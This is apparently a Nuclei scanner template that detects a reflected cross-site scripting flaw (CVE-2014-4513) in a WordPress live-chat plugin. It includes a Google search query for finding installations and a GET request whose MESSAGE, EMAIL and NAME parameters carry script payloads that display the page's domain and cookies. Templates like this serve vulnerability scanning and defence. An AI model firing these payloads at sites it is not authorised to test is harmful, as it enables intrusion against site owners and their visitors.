id: CVE-2014-4513

info:
  name: ActiveHelper LiveHelp Server 3.1.0 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: Multiple cross-site scripting vulnerabilities in server/offline.php in the ActiveHelper LiveHelp Live Chat plugin 3.1.0 and earlier for WordPress allow remote attackers to inject arbitrary web script or HTML via the (1) MESSAGE, (2) EMAIL, or (3) NAME parameter.
  remediation: |
    Upgrade to a patched version of ActiveHelper LiveHelp Server or apply the necessary security patches to mitigate the XSS vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2014-4513
    - http://codevigilant.com/disclosure/wp-plugin-activehelper-livehelp-a3-cross-site-scripting-xss
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2014-4513
    cwe-id: CWE-79
    epss-score: 0.00145
    epss-percentile: 0.50179
    cpe: cpe:2.3:a:activehelper:activehelper_livehelp_live_chat:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: activehelper
    product: activehelper_livehelp_live_chat
    framework: wordpress
    google-query: inurl:"/wp-content/plugins/activehelper-livehelp"
  tags: cve,cve2014,wordpress,xss,wp-plugin,activehelper

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/activehelper-livehelp/server/offline.php?MESSAGE=MESSAGE%3C%2Ftextarea%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&DOMAINID=DOMAINID&COMPLETE=COMPLETE&TITLE=TITLE&URL=URL&COMPANY=COMPANY&SERVER=SERVER&PHONE=PHONE&SECURITY=SECURITY&BCC=BCC&EMAIL=EMAIL%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&NAME=NAME%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</textarea></script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
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